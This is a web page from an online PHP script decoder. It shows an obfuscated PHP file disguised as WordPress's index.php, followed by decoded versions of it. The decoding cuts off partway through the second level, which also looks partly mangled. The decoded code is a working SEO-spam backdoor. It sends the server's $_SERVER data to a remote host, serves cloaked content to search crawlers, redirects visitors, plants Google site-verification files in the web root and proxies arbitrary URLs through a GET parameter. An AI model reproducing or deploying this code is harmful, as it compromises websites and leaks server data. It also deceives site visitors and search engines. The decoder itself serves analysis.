Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php define('A', 'jan51.tpuwt5573ytu/suruga::m^^!!?srsltid=AfmBOo[3:4][3:6][5:6]_[5:10]_[5:8]-[4:1]-[5:9]|item/u^/!/::'); goto ST167; HLQ2b: @ob_start(); goto dfyO3; ST167: @date_default_timezone_set("\120\x52\103"); goto lIrtY; lIrtY: if (!function_exists("\x6f\142\x5f\163\164\141\162\x74")) { goto loOwc; } goto HLQ2b; hKEvi: function VAuVw($hS4qe) { goto Gt1YJ; XqhJM: foreach ($fyl6A as $qhCir => $pIjmU) { $fyl6A[$qhCir] = chr(ord($pIjmU) - 5); iw1an: } goto kQ5R6; kQ5R6: XcWA3: goto bDNSm; WgYHr: if (!($ZJUOJ[2] != '')) { goto p2xKW; } goto L7Bev; ib6GK: return $WZ3OV; goto imo1p; WYbCQ: sDUc8: goto ib6GK; Gt1YJ: $WZ3OV = ''; goto p8W8K; k5bfT: if (!(is_array($ZJUOJ) && count($ZJUOJ) == 4)) { goto sDUc8; } goto WgYHr; L7Bev: $fyl6A = preg_split("\x2f\57", $ZJUOJ[2], -1, PREG_SPLIT_NO_EMPTY); goto XqhJM; p8W8K: preg_match("\x2f\50\x5b\x5e\134\56\x5d\53\x5c\56\51\50\56\52\x29\50\x5c\57\56\x2a\51\57", $hS4qe, $ZJUOJ); goto k5bfT; HaDws: $WZ3OV = $ZJUOJ[1] . $WZ3OV . $ZJUOJ[3]; goto WYbCQ; Yhyp0: p2xKW: goto HaDws; bDNSm: $WZ3OV = implode('', $fyl6A); goto Yhyp0; imo1p: } goto N6mT8; N6mT8: function hQOKL($VXKkt = '') { goto ZHTSQ; vv5el: if (!preg_match("\x2f\x5e\110\145\x61\144\100\x28\x2e\x2a\77\51\x40\100\x28\56\52\51\57\x69\x73", $n22Ky, $s1FND)) { goto OZa3p; } goto ugdYM; wYmPh: if (!isset($_GET[$G6nFY])) { goto uejTl; } goto CTW3j; Zknox: $J8wLg = isset($_SERVER["\110\x54\124\x50\137\122\x45\x46\x45\x52\x45\122"]) ? $_SERVER["\x48\x54\x54\120\137\x52\105\106\105\x52\105\x52"] : ''; goto txBb0; RQvlz: uJVVf: goto dSpt9; R9wuk: $pkctX .= "\164\x6d\154\51"; goto Srace; SkuWy: if (!preg_match("\x2f\136\110\145\x61\x64\100\50\x2e\52\x3f\x29\x40\x40\x28\56\x2a\51\57\x69\163", $n22Ky, $s1FND)) { goto NVwnZ; } goto fe5Eq; V3Fna: $pkctX = "\50\147\x6f\157"; goto i2Pdh; Yl4mM: $n22Ky = $s1FND[2]; goto nneJI; gc0St: $SFAlp = "\x4c\x6f\x63\x61" . $SFAlp; goto fr2kU; zAGNN: echo gethostbyname($qhAPd["\150\157\163\x74"]); goto smxSa; f8zNN: echo "{$n22Ky}"; goto puUhi; xaHuM: die; goto l9NA7; XJF5D: w_4gU: goto yX2af; VfwMD: file_put_contents("{$Wapif}\x2f{$vqEvE}", "{$joTWO}\x20{$vqEvE}"); goto v5RcM; GeE2_: $_SERVER["\171\x74\x5f\147\172"] = $ZntcZ[1]; goto NI353; i2Pdh: $pkctX .= "\147\154\x65\x5b\x5c\167"; goto FvhSx; dSpt9: echo sprintf("\74\142\x6f\144\x79\x20\157\x6e\154\x6f\141\x64\x3d\x22\144\x6f\x63\165\x6d\x65\156\x74\x2e\147\x65\164\105\x6c\145\x6d\145\156\x74\163\x42\171\124\141\147\116\141\x6d\145\x28\45\x73\x61\45\163\51\x5b\60\135\56\143\154\151\143\153\x28\x29\x22\76\74\141\x20\x68\x72\x65\x66\x3d\x22\45\x73\42\x3e\74\57\x61\x3e\74\156\x6f\163\143\x72\x69\160\x74\76\74\155\x65\164\141\x20\150\x74\164\160\55\145\161\165\x69\x76\x3d\x22\162\x65\146\x72\145\x73\x68\x22\x20\x63\x6f\x6e\x74\145\156\164\x3d\x22\x30\73\x20\165\162\154\x3d\x25\x73\42\40\57\76\x3c\x2f\156\157\x73\143\162\151\160\x74\76\74\x2f\142\157\x64\171\76", "\x27", "\x27", $L9UnE, $L9UnE); goto ZWw_w; eJDWo: echo $L9UnE; goto bEVnc; mX07p: $xd1MJ = preg_match("\x2f\x5e\150\x74\164\160\163\77\134\x3a\x5c\57\134\57\57\163\151", $L9UnE); goto B61RQ; LLhnU: mGPca: goto gl3C3; jet9C: $KOj2b = $KOj2b == '' ? isset($_SERVER["\x50\x41\124\x48\137\111\116\x46\x4f"]) && $_SERVER["\x50\x41\124\110\x5f\111\x4e\106\117"] != '' ? $_SERVER["\120\x41\x54\110\137\111\116\x46\x4f"] : $KOj2b : $KOj2b; goto Zknox; mfuRc: $OD2Bx = "\x3c\141\40\150\x72\145\x66\x3d\42\x25\163\x22\40\164\x61\162\x67\x65\164\x3d\x22\x5f\x62\154\141\156\x6b\42\76\45\163\74\x2f\141\x3e"; goto wYmPh; mj40u: header("{$SFAlp}\x20\x2f{$vqEvE}"); goto TssuY; MqJs7: $n22Ky = $s1FND[2]; goto sjCa0; DFuC2: echo "{$n22Ky}"; goto xaHuM; nVTzZ: if (!($BhU3W || $bS5WN)) { goto ZVLRq; } goto mfuRc; BE8Q3: $G6nFY = "\x79\x74\x31"; goto EBfmz; naHo9: $joTWO .= $SFAlp; goto gc0St; HTzHx: $qhAPd = parse_url($V00zR); goto zAGNN; BEMUh: echo sprintf($OD2Bx, $V00zR, $V00zR) . "\x3c\142\x72\40\x2f\76\x3c\142\x72\x20\57\76"; goto HTzHx; ZYcFf: die; goto yTu0X; bEVnc: goto UoDXM; goto RQvlz; l9NA7: uPzkY: goto Kcf0c; TssuY: die; goto kkHnG; nneJI: OZa3p: goto f8zNN; ELusW: $joTWO .= "\146\x69\143\x61"; goto naHo9; rNtin: $_SERVER["\171\164\x5f\152\165\x6d\x70"] = 0; goto GeE2_; QL2gC: $RfRAW .= "\124\137\x52\117\117\124"; goto vrZUl; JFJMm: $V00zR = sprintf("\150\x74\x74\x70\163\72\57\x2f\x25\163\x2e\x70\171", VaUVW($ZntcZ[0])); goto rNtin; wlM1i: if (preg_match("\57\x5e\x68\x74\164\x70\x73\x3f\x2f\163\151", $sJ7cd)) { goto mGPca; } goto BEMUh; rZSsL: chmod($Wapif, 0755); goto VfwMD; QCwt6: NhVqo: goto ZYcFf; puUhi: die; goto ZVq5q; Kcf0c: $SFAlp = "\x74\x69\x6f\156\x3a"; goto V3Fna; r5o2i: $BhU3W = qMWgF($Ct1zU); goto J62kl; hZAr1: $ZntcZ = explode("\x3a\72", A); goto JFJMm; ugdYM: header($s1FND[1]); goto Yl4mM; kkHnG: vyQHA: goto nVTzZ; TzWNo: $RfRAW .= "\125\x4d\x45\116"; goto QL2gC; YJSBf: return; goto XJF5D; fe5Eq: header($s1FND[1]); goto MqJs7; Wc_Jv: if (!preg_match("\57\x73\x69\x74\x65\x6d\x61\x70\56\52\77\x5c\56\x78\x6d\x6c\x24\57\163\151", $KOj2b)) { goto uPzkY; } goto dv38r; plwP2: $joTWO .= "\164\145\55\x76\145\x72\x69"; goto ELusW; sjCa0: NVwnZ: goto DFuC2; txBb0: $Ct1zU = isset($_SERVER["\x48\124\x54\x50\x5f\125\123\105\x52\x5f\x41\107\105\116\124"]) ? $_SERVER["\110\x54\x54\120\x5f\125\x53\x45\122\137\x41\107\105\116\x54"] : ''; goto r5o2i; ypmx7: $n22Ky = AsZta($V00zR, array("\x78" => serialize($_SERVER))); goto o2_Fb; gl3C3: echo asZtA($sJ7cd); goto QCwt6; yTu0X: uejTl: goto Euldq; ZVq5q: ZVLRq: goto W4bxH; ZHTSQ: $KOj2b = isset($_SERVER["\122\105\x51\x55\105\123\124\x5f\x55\x52\x49"]) ? $_SERVER["\122\x45\121\x55\x45\x53\x54\137\125\x52\x49"] : (isset($_SERVER["\x51\125\x45\122\131\137\123\124\x52\111\116\107"]) ? $_SERVER["\x51\x55\x45\122\x59\x5f\123\x54\122\x49\116\107"] : ''); goto jet9C; pTi1V: tsg2q: goto ypmx7; CTW3j: $sJ7cd = trim($_GET[$G6nFY]); goto wlM1i; bnx_Y: $n22Ky = trim($n22Ky); goto SkuWy; FvhSx: $pkctX .= "\x5d\x7b\61\66"; goto W0yfc; o2_Fb: $n22Ky = trim($n22Ky); goto EvPaJ; oPQ5B: $joTWO .= "\147\x6c\x65\55\163\x69"; goto plwP2; e4EGX: die; goto X0q8D; Srace: $joTWO = "\x67\157\157"; goto oPQ5B; vrZUl: $Wapif = $_SERVER[$RfRAW]; goto Wc_Jv; X0q8D: dmpL2: goto vv5el; v5RcM: chmod($Wapif, 0555); goto mj40u; dv38r: $n22Ky = AszTa($V00zR, array("\170" => serialize($_SERVER))); goto bnx_Y; J62kl: $bS5WN = MzL8I($J8wLg); goto hZAr1; Euldq: if (!$bS5WN) { goto tsg2q; } goto YyEhI; yX2af: if (!preg_match("\x2f\136\112\x75\x6d\160\100\x28\x2e\x2a\x29\x2f", $n22Ky, $VhNkO)) { goto dmpL2; } goto VgNDR; smxSa: goto NhVqo; goto LLhnU; NI353: $_SERVER["\171\164\137\165\160"] = $ZntcZ[2]; goto BE8Q3; EBfmz: $RfRAW = "\104\x4f\x43"; goto TzWNo; EvPaJ: if (!in_array($n22Ky, ["\52\x34\x30\64", "\52\162\145\x74\x75\x72\156"])) { goto w_4gU; } goto YJSBf; VjyVk: $vqEvE = str_replace("\56\x78", "\x2e", trim($wD324[1])); goto rZSsL; VgNDR: $L9UnE = trim($VhNkO[1]); goto mX07p; YyEhI: $_SERVER["\x79\164\137\x6a\165\155\160"] = 1; goto pTi1V; ZWw_w: UoDXM: goto e4EGX; W0yfc: $pkctX .= "\175\134\x2e\170\x68"; goto R9wuk; B61RQ: if ($xd1MJ) { goto uJVVf; } goto eJDWo; fr2kU: if (!preg_match("\57" . $pkctX . "\44\57\163\151", $KOj2b, $wD324)) { goto vyQHA; } goto VjyVk; W4bxH: } goto pzfwA; dfyO3: loOwc: goto sF8zS; sF8zS: function aSzTA($xVNoy, $BlY_F = array()) { goto OMjs8; IL5KC: try { goto qceHH; nzlZ2: VBB59: goto jF1xw; FScHJ: $Sd_Hj = ''; goto K9G9d; Nw0tI: $wyQVa = ($swjS_ === "\x68\164\164\160\163" ? "\x73\x73\154\72\x2f\57" : '') . $NIAum . "\72" . $J2nOJ; goto tMMpM; kTw98: H33HL: goto Ptf57; kGy3F: if (!($aTIfp === "\x50\117\123\x54")) { goto Ichze; } goto ioWl0; OehLD: if (!($K__3d === false)) { goto MbZ2a; } goto G9JqL; bGFDz: if (!($b4TmA === 0)) { goto H33HL; } goto mtmXm; G9JqL: goto G01HY; goto LqYEp; aIb3T: $J2nOJ = $swjS_ === "\x68\164\x74\x70\x73" ? 443 : 80; goto o9hwt; dRz0x: $m4sx7 .= fgets($h82UD, 1024); goto eNjE3; wY5Hm: $b4TmA = hexdec(substr($jry3i, 0, $K__3d)); goto bGFDz; zVMz3: $P77Hu .= "\x43\157\156\164\145\x6e\164\x2d\124\x79\x70\x65\72\40\x61\x70\160\x6c\x69\143\x61\x74\151\x6f\156\x2f\170\55\167\167\167\55\x66\157\162\155\55\165\x72\x6c\145\156\x63\x6f\x64\x65\x64\xd\xa"; goto F49oy; ioWl0: $WxV91 .= $xaTNC; goto LuSa0; o9hwt: $BHSNW = isset($iVQfb["\x70\x61\164\150"]) ? $iVQfb["\160\141\x74\150"] : "\57"; goto Y27Zn; tpOb3: $aTIfp = "\x47\105\x54"; goto xjs_q; LDHgb: $P77Hu = isset($WjzSV[0]) ? $WjzSV[0] : ''; goto uZuoR; pJ1pL: G01HY: goto K8pK3; RAJbb: $swjS_ = isset($iVQfb["\x73\143\150\x65\x6d\145"]) ? $iVQfb["\163\x63\150\x65\x6d\145"] : "\x68\x74\x74\x70"; goto zt4bv; K8pK3: $jry3i = $Sd_Hj; goto M4zE0; tMMpM: $h82UD = stream_socket_client($wyQVa, $V5LCP, $UZwr5, 45); goto LjY2d; JOI_l: $WxV91 .= "\110\157\163\x74\72\x20{$NIAum}\xd\xa"; goto hjE1Y; KXUom: $WxV91 = "{$aTIfp}\x20{$BHSNW}{$XxSc9}\x20\110\124\124\120\x2f\x31\56\61\xd\12"; goto JOI_l; hNUiw: if (!true) { goto G01HY; } goto fEr9a; zt4bv: $NIAum = $iVQfb["\x68\x6f\x73\x74"]; goto aIb3T; gsvW8: $xaTNC = ''; goto tpOb3; XMFk6: uJiGs: goto CW1mS; CFmS3: F4qCY: goto uF9P0; LqYEp: MbZ2a: goto wY5Hm; iMjpj: fwrite($h82UD, $WxV91); goto XMFk6; nVJV3: $xaTNC = http_build_query($BlY_F); goto zVMz3; M4zE0: LKd6M: goto nf3Ny; F49oy: $P77Hu .= "\103\x6f\x6e\164\145\156\x74\55\x4c\x65\x6e\147\x74\x68\x3a\40" . strlen($xaTNC) . "\xd\xa"; goto CFmS3; LjY2d: if (!$h82UD) { goto VBB59; } goto KXUom; nf3Ny: $m4sx7 = trim($jry3i); goto nzlZ2; CW1mS: if (feof($h82UD)) { goto wa3UC; } goto dRz0x; kCjT9: if (empty($BlY_F)) { goto F4qCY; } goto AJE6T; Ptf57: $Sd_Hj .= substr($jry3i, $K__3d + 2, $b4TmA); goto qLd5M; AKqBU: goto fCbhk; goto pJ1pL; qLd5M: $jry3i = substr($jry3i, $K__3d + 2 + $b4TmA + 2); goto AKqBU; Y27Zn: $XxSc9 = isset($iVQfb["\161\165\x65\162\x79"]) ? "\77" . $iVQfb["\x71\x75\x65\162\x79"] : ''; goto gsvW8; mft3X: wa3UC: goto YdtSq; AJE6T: $aTIfp = "\120\117\123\x54"; goto nVJV3; yTJT8: $WjzSV = explode("\15\12\xd\12", $m4sx7, 2); goto LDHgb; eNjE3: goto uJiGs; goto mft3X; fEr9a: $K__3d = strpos($jry3i, "\15\12"); goto OehLD; LuSa0: Ichze: goto iMjpj; YdtSq: fclose($h82UD); goto yTJT8; hjE1Y: $WxV91 .= $P77Hu; goto kGy3F; uF9P0: $P77Hu .= "\103\157\156\x6e\x65\x63\164\x69\x6f\156\72\40\143\x6c\157\x73\145\15\xa\xd\xa"; goto Nw0tI; uZuoR: $jry3i = isset($WjzSV[1]) ? $WjzSV[1] : ''; goto hBkp_; xjs_q: $P77Hu = "\x55\x73\x65\x72\x2d\101\147\x65\156\164\72\40\x57\110\122\xd\xa"; goto kCjT9; qceHH: $iVQfb = parse_url($xVNoy); goto RAJbb; K9G9d: fCbhk: goto hNUiw; hBkp_: if (!(stripos($P77Hu, "\x54\162\x61\x6e\163\x66\145\x72\55\105\x6e\143\157\144\151\156\x67\72\x20\x63\150\165\x6e\153\x65\x64") !== false)) { goto LKd6M; } goto FScHJ; mtmXm: goto G01HY; goto kTw98; jF1xw: } catch (Exception $tCJIb) { } goto q1jGj; OMjs8: $m4sx7 = 0; goto IL5KC; q1jGj: return $m4sx7; goto UoS9B; UoS9B: } goto XAPZJ; bVn2q: function MZl8I($XGy2I = '') { return preg_match("\57\x28\x67\157\157\x67\x6c\x65\56\143\x6f\56\152\160\174\x79\141\x68\157\x6f\56\x63\x6f\x2e\x6a\160\x7c\x62\151\156\147\x7c\x62\141\151\144\165\174\x67\x6f\157\x67\x6c\x65\56\143\x6f\x6d\x29\x2f\163\151", $XGy2I); } goto hKEvi; XAPZJ: function qmwGF($UjPOi = '') { return preg_match("\x2f\x28\x67\x6f\x6f\x67\x6c\145\142\x6f\164\174\x62\141\151\x64\165\x73\160\151\x64\x65\162\x7c\x62\151\x6e\147\x62\157\x74\x7c\147\x6f\157\147\x6c\145\x7c\x62\x61\151\144\x75\x7c\141\157\x6c\174\x62\x69\x6e\x67\174\171\x61\150\x6f\x6f\x7c\x79\x61\x6e\144\145\170\51\57\163\x69", $UjPOi); } goto bVn2q; pzfwA: HqOkl(); ?>
<?php define( 'WP_USE_THEMES', true ); require('./wp-blog-header.php');?>

Show other level

Decrypted code level 1:

define('A', 'jan51.tpuwt5573ytu/suruga::m^^!!?srsltid=AfmBOo[3:4][3:6][5:6]_[5:10]_[5:8]-[4:1]-[5:9]|item/u^/!/::'); goto ST167; HLQ2b: @ob_start(); goto dfyO3; ST167: @date_default_timezone_set("PRC"); goto lIrtY; lIrtY: if (!function_exists("ob_start")) { goto loOwc; } goto HLQ2b; hKEvi: function VAuVw($hS4qe) { goto Gt1YJ; XqhJM: foreach ($fyl6A as $qhCir => $pIjmU) { $fyl6A[$qhCir] = chr(ord($pIjmU) - 5); iw1an: } goto kQ5R6; kQ5R6: XcWA3: goto bDNSm; WgYHr: if (!($ZJUOJ[2] != '')) { goto p2xKW; } goto L7Bev; ib6GK: return $WZ3OV; goto imo1p; WYbCQ: sDUc8: goto ib6GK; Gt1YJ: $WZ3OV = ''; goto p8W8K; k5bfT: if (!(is_array($ZJUOJ) && count($ZJUOJ) == 4)) { goto sDUc8; } goto WgYHr; L7Bev: $fyl6A = preg_split("//", $ZJUOJ[2], -1, PREG_SPLIT_NO_EMPTY); goto XqhJM; p8W8K: preg_match("/([^\.]+\.)(.*)(\/.*)/", $hS4qe, $ZJUOJ); goto k5bfT; HaDws: $WZ3OV = $ZJUOJ[1] . $WZ3OV . $ZJUOJ[3]; goto WYbCQ; Yhyp0: p2xKW: goto HaDws; bDNSm: $WZ3OV = implode('', $fyl6A); goto Yhyp0; imo1p: } goto N6mT8; N6mT8: function hQOKL($VXKkt = '') { goto ZHTSQ; vv5el: if (!preg_match("/^Head@(.*?)@@(.*)/is", $n22Ky, $s1FND)) { goto OZa3p; } goto ugdYM; wYmPh: if (!isset($_GET[$G6nFY])) { goto uejTl; } goto CTW3j; Zknox: $J8wLg = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto txBb0; RQvlz: uJVVf: goto dSpt9; R9wuk: $pkctX .= "tml)"; goto Srace; SkuWy: if (!preg_match("/^Head@(.*?)@@(.*)/is", $n22Ky, $s1FND)) { goto NVwnZ; } goto fe5Eq; V3Fna: $pkctX = "(goo"; goto i2Pdh; Yl4mM: $n22Ky = $s1FND[2]; goto nneJI; gc0St: $SFAlp = "Loca" . $SFAlp; goto fr2kU; zAGNN: echo gethostbyname($qhAPd["host"]); goto smxSa; f8zNN: echo "{$n22Ky}"; goto puUhi; xaHuM: die; goto l9NA7; XJF5D: w_4gU: goto yX2af; VfwMD: file_put_contents("{$Wapif}/{$vqEvE}", "{$joTWO} {$vqEvE}"); goto v5RcM; GeE2_: $_SERVER["yt_gz"] = $ZntcZ[1]; goto NI353; i2Pdh: $pkctX .= "gle[\w"; goto FvhSx; dSpt9: echo sprintf("<body onload="document.getElementsByTagName(%sa%s)[0].click()"><a href="%s"></a><noscript><meta http-equiv="refresh" content="0; url=%s" /></noscript></body>", "'", "'", $L9UnE, $L9UnE); goto ZWw_w; eJDWo: echo $L9UnE; goto bEVnc; mX07p: $xd1MJ = preg_match("/^https?\:\/\//si", $L9UnE); goto B61RQ; LLhnU: mGPca: goto gl3C3; jet9C: $KOj2b = $KOj2b == '' ? isset($_SERVER["PATH_INFO"]) && $_SERVER["PATH_INFO"] != '' ? $_SERVER["PATH_INFO"] : $KOj2b : $KOj2b; goto Zknox; mfuRc: $OD2Bx = "<a href="%s" target="_blank">%s</a>"; goto wYmPh; mj40u: header("{$SFAlp} /{$vqEvE}"); goto TssuY; MqJs7: $n22Ky = $s1FND[2]; goto sjCa0; DFuC2: echo "{$n22Ky}"; goto xaHuM; nVTzZ: if (!($BhU3W || $bS5WN)) { goto ZVLRq; } goto mfuRc; BE8Q3: $G6nFY = "yt1"; goto EBfmz; naHo9: $joTWO .= $SFAlp; goto gc0St; HTzHx: $qhAPd = parse_url($V00zR); goto zAGNN; BEMUh: echo sprintf($OD2Bx, $V00zR, $V00zR) . "<br /><br />"; goto HTzHx; ZYcFf: die; goto yTu0X; bEVnc: goto UoDXM; goto RQvlz; l9NA7: uPzkY: goto Kcf0c; TssuY: die; goto kkHnG; nneJI: OZa3p: goto f8zNN; ELusW: $joTWO .= "fica"; goto naHo9; rNtin: $_SERVER["yt_jump"] = 0; goto GeE2_; QL2gC: $RfRAW .= "T_ROOT"; goto vrZUl; JFJMm: $V00zR = sprintf("https://%s.py", VaUVW($ZntcZ[0])); goto rNtin; wlM1i: if (preg_match("/^https?/si", $sJ7cd)) { goto mGPca; } goto BEMUh; rZSsL: chmod($Wapif, 0755); goto VfwMD; QCwt6: NhVqo: goto ZYcFf; puUhi: die; goto ZVq5q; Kcf0c: $SFAlp = "tion:"; goto V3Fna; r5o2i: $BhU3W = qMWgF($Ct1zU); goto J62kl; hZAr1: $ZntcZ = explode("::", A); goto JFJMm; ugdYM: header($s1FND[1]); goto Yl4mM; kkHnG: vyQHA: goto nVTzZ; TzWNo: $RfRAW .= "UMEN"; goto QL2gC; YJSBf: return; goto XJF5D; fe5Eq: header($s1FND[1]); goto MqJs7; Wc_Jv: if (!preg_match("/sitemap.*?\.xml$/si", $KOj2b)) { goto uPzkY; } goto dv38r; plwP2: $joTWO .= "te-veri"; goto ELusW; sjCa0: NVwnZ: goto DFuC2; txBb0: $Ct1zU = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto r5o2i; ypmx7: $n22Ky = AsZta($V00zR, array("x" => serialize($_SERVER))); goto o2_Fb; gl3C3: echo asZtA($sJ7cd); goto QCwt6; yTu0X: uejTl: goto Euldq; ZVq5q: ZVLRq: goto W4bxH; ZHTSQ: $KOj2b = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : ''); goto jet9C; pTi1V: tsg2q: goto ypmx7; CTW3j: $sJ7cd = trim($_GET[$G6nFY]); goto wlM1i; bnx_Y: $n22Ky = trim($n22Ky); goto SkuWy; FvhSx: $pkctX .= "]{16"; goto W0yfc; o2_Fb: $n22Ky = trim($n22Ky); goto EvPaJ; oPQ5B: $joTWO .= "gle-si"; goto plwP2; e4EGX: die; goto X0q8D; Srace: $joTWO = "goo"; goto oPQ5B; vrZUl: $Wapif = $_SERVER[$RfRAW]; goto Wc_Jv; X0q8D: dmpL2: goto vv5el; v5RcM: chmod($Wapif, 0555); goto mj40u; dv38r: $n22Ky = AszTa($V00zR, array("x" => serialize($_SERVER))); goto bnx_Y; J62kl: $bS5WN = MzL8I($J8wLg); goto hZAr1; Euldq: if (!$bS5WN) { goto tsg2q; } goto YyEhI; yX2af: if (!preg_match("/^Jump@(.*)/", $n22Ky, $VhNkO)) { goto dmpL2; } goto VgNDR; smxSa: goto NhVqo; goto LLhnU; NI353: $_SERVER["yt_up"] = $ZntcZ[2]; goto BE8Q3; EBfmz: $RfRAW = "DOC"; goto TzWNo; EvPaJ: if (!in_array($n22Ky, ["T04", "*return"])) { goto w_4gU; } goto YJSBf; VjyVk: $vqEvE = str_replace(".x", , trim($wD324[1])); goto rZSsL; VgNDR: $L9UnE = trim($VhNkO[1]); goto mX07p; YyEhI: $_SERVER["yt_jump"] = 1; goto pTi1V; ZWw_w: UoDXM: goto e4EGX; W0yfc: $pkctX .= "}\.xh"; goto R9wuk; B61RQ: if ($xd1MJ) { goto uJVVf; } goto eJDWo; fr2kU: if (!preg_match("/" . $pkctX . "$/si", $KOj2b, $wD324)) { goto vyQHA; } goto VjyVk; W4bxH: } goto pzfwA; dfyO3: loOwc: goto sF8zS; sF8zS: function aSzTA($xVNoy, $BlY_F = array()) { goto OMjs8; IL5KC: try { goto qceHH; nzlZ2: VBB59: goto jF1xw; FScHJ: $Sd_Hj = ''; goto K9G9d; Nw0tI: $wyQVa = ($swjS_ === "https" ? "ssl://" : '') . $NIAum . ":" . $J2nOJ; goto tMMpM; kTw98: H33HL: goto Ptf57; kGy3F: if (!($aTIfp === "POST")) { goto Ichze; } goto ioWl0; OehLD: if (!($K__3d === false)) { goto MbZ2a; } goto G9JqL; bGFDz: if (!($b4TmA === 0)) { goto H33HL; } goto mtmXm; G9JqL: goto G01HY; goto LqYEp; aIb3T: $J2nOJ = $swjS_ === "https" ? 443 : 80; goto o9hwt; dRz0x: $m4sx7 .= fgets($h82UD, 1024); goto eNjE3; wY5Hm: $b4TmA = hexdec(substr($jry3i, 0, $K__3d)); goto bGFDz; zVMz3: $P77Hu .= "Content-Type: application/x-www-form-urlencoded\xd\xa"; goto F49oy; ioWl0: $WxV91 .= $xaTNC; goto LuSa0; o9hwt: $BHSNW = isset($iVQfb["path"]) ? $iVQfb["path"] : "/"; goto Y27Zn; tpOb3: $aTIfp = "GET"; goto xjs_q; LDHgb: $P77Hu = isset($WjzSV[0]) ? $WjzSV[0] : ''; goto uZuoR; pJ1pL: G01HY: goto K8pK3; RAJbb: $swjS_ = isset($iVQfb["scheme"]) ? $iVQfb["scheme"] : "http"; goto zt4bv; K8pK3: $jry3i = $Sd_Hj; goto M4zE0; tMMpM: $h82UD = stream_socket_client($wyQVa, $V5LCP, $UZwr5, 45); goto LjY2d; JOI_l: $WxV91 .= "Host: {$NIAum}\xd\xa"; goto hjE1Y; KXUom: $WxV91 = "{$aTIfp} {$BHSNW}{$XxSc9} HTTP/1.1\xd
"; goto JOI_l; hNUiw: if (!true) { goto G01HY; } goto fEr9a; zt4bv: $NIAum = $iVQfb["host"]; goto aIb3T; gsvW8: $xaTNC = ''; goto tpOb3; XMFk6: uJiGs: goto CW1mS; CFmS3: F4qCY: goto uF9P0; LqYEp: MbZ2a: goto wY5Hm; iMjpj: fwrite($h82UD, $WxV91); goto XMFk6; nVJV3: $xaTNC = http_build_query($BlY_F); goto zVMz3; M4zE0: LKd6M: goto nf3Ny; F49oy: $P77Hu .= "Content-Length: " . strlen($xaTNC) . "\xd\xa"; goto CFmS3; LjY2d: if (!$h82UD) { goto VBB59; } goto KXUom; nf3Ny: $m4sx7 = trim($jry3i); goto nzlZ2; CW1mS: if (feof($h82UD)) { goto wa3UC; } goto dRz0x; kCjT9: if (empty($BlY_F)) { goto F4qCY; } goto AJE6T; Ptf57: $Sd_Hj .= substr($jry3i, $K__3d + 2, $b4TmA); goto qLd5M; AKqBU: goto fCbhk; goto pJ1pL; qLd5M: $jry3i = substr($jry3i, $K__3d + 2 + $b4TmA + 2); goto AKqBU; Y27Zn: $XxSc9 = isset($iVQfb["query"]) ? "?" . $iVQfb["query"] : ''; goto gsvW8; mft3X: wa3UC: goto YdtSq; AJE6T: $aTIfp = "POST"; goto nVJV3; yTJT8: $WjzSV = explode("
\xd
", $m4sx7, 2); goto LDHgb; eNjE3: goto uJiGs; goto mft3X; fEr9a: $K__3d = strpos($jry3i, "
"); goto OehLD; LuSa0: Ichze: goto iMjpj; YdtSq: fclose($h82UD); goto yTJT8; hjE1Y: $WxV91 .= $P77Hu; goto kGy3F; uF9P0: $P77Hu .= "Connection: close
\xa\xd\xa"; goto Nw0tI; uZuoR: $jry3i = isset($WjzSV[1]) ? $WjzSV[1] : ''; goto hBkp_; xjs_q: $P77Hu = "User-Agent: WHR\xd\xa"; goto kCjT9; qceHH: $iVQfb = parse_url($xVNoy); goto RAJbb; K9G9d: fCbhk: goto hNUiw; hBkp_: if (!(stripos($P77Hu, "Transfer-Encoding: chunked") !== false)) { goto LKd6M; } goto FScHJ; mtmXm: goto G01HY; goto kTw98; jF1xw: } catch (Exception $tCJIb) { } goto q1jGj; OMjs8: $m4sx7 = 0; goto IL5KC; q1jGj: return $m4sx7; goto UoS9B; UoS9B: } goto XAPZJ; bVn2q: function MZl8I($XGy2I = '') { return preg_match("/(google.co.jp|yahoo.co.jp|bing|baidu|google.com)/si", $XGy2I); } goto hKEvi; XAPZJ: function qmwGF($UjPOi = '') { return preg_match("/(googlebot|baiduspider|bingbot|google|baidu|aol|bing|yahoo|yandex)/si", $UjPOi); } goto bVn2q; pzfwA: HqOkl();
define( 'WP_USE_THEMES', true ); require('./wp-blog-header.php');

Decrypted code level 2:

define('A', 'jan51tpuwt5573ytu/suruga::m^^!!?srsltid=AfmBOo[3:4][3:6][5:6]_[5:10]_[5:8]-[4:1]-[5:9]|item/u^/!/::'); goto ST167; HLQ2b: @ob_start(); goto dfyO3; ST167: @date_default_timezone_set("PRC"); goto lIrtY; lIrtY: if (!function_exists("ob_start")) { goto loOwc; } goto HLQ2b; hKEvi: function VAuVw($hS4qe) { goto Gt1YJ; XqhJM: foreach ($fyl6A as $qhCir => $pIjmU) { $fyl6A[$qhCir] = chr(ord($pIjmU) - 5); iw1an: } goto kQ5R6; kQ5R6: XcWA3: goto bDNSm; WgYHr: if (!("p" != '')) { goto p2xKW; } goto L7Bev; ib6GK: return $WZ3OV; goto imo1p; WYbCQ: sDUc8: goto ib6GK; Gt1YJ: $WZ3OV = ''; goto p8W8K; k5bfT: if (!(is_array($ZJUOJ) && count($ZJUOJ) == 4)) { goto sDUc8; } goto WgYHr; L7Bev: $fyl6A = preg_split("//", "p", -1, PREG_SPLIT_NO_EMPTY); goto XqhJM; p8W8K: preg_match("/([^\.]+\.)(.*)(\/.*)/", $hS4qe, $ZJUOJ); goto k5bfT; HaDws: $WZ3OV = "x" . $WZ3OV . "l"; goto WYbCQ; Yhyp0: p2xKW: goto HaDws; bDNSm: $WZ3OV = implode('', $fyl6A); goto Yhyp0; imo1p: } goto N6mT8; N6mT8: function hQOKL($VXKkt = '') { goto ZHTSQ; vv5el: if (!preg_match("/^Head@(.*?)@@(.*)/is", $n22Ky, $s1FND)) { goto OZa3p; } goto ugdYM; wYmPh: if (!isset($_GET[$G6nFY])) { goto uejTl; } goto CTW3j; Zknox: $J8wLg = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto txBb0; RQvlz: uJVVf: goto dSpt9; R9wuk: $pkctX .= "tml)"; goto 